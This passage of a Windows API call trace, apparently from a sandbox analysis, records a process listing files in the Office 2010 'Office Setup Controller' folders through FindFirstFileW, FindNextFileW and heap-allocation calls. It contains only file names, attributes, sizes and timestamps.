ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0169.334] GetProcessHeap () returned 0x6a0000 [0169.334] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.334] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.334] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0169.334] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.334] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.334] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.334] GetProcessHeap () returned 0x6a0000 [0169.334] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.334] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0169.335] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0169.335] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0169.335] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="POWERP~1.EN-")) returned 1 [0169.335] GetProcessHeap () returned 0x6a0000 [0169.335] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.335] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.335] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.335] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0169.335] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.336] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.336] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.336] GetProcessHeap () returned 0x6a0000 [0169.336] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.336] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0169.336] GetProcessHeap () returned 0x6a0000 [0169.336] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.336] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.336] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.337] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0169.337] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.337] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.337] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.337] GetProcessHeap () returned 0x6a0000 [0169.337] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.337] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0169.337] GetProcessHeap () returned 0x6a0000 [0169.337] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.337] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.338] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.338] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0169.339] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.339] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.339] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.339] GetProcessHeap () returned 0x6a0000 [0169.339] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.339] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0169.339] GetProcessHeap () returned 0x6a0000 [0169.339] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.340] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.340] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0169.340] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0169.340] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.341] GetProcessHeap () returned 0x6a0000 [0169.341] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.341] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0169.341] GetProcessHeap () returned 0x6a0000 [0169.341] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.342] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.342] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0169.342] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0169.342] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.342] GetProcessHeap () returned 0x6a0000 [0169.342] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0169.342] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0169.342] GetProcessHeap () returned 0x6a0000 [0169.342] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x379d598 [0169.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0169.345] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.345] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0169.345] FindNextFileW (in: hFindFile=0x3722608, lpFindFileData=0x2c3e978 | out: lpFindFileData=0x2c3e978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0169.345] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0169.345] GetProcessHeap () returned 0x6a0000 [0169.345] HeapFree (in: 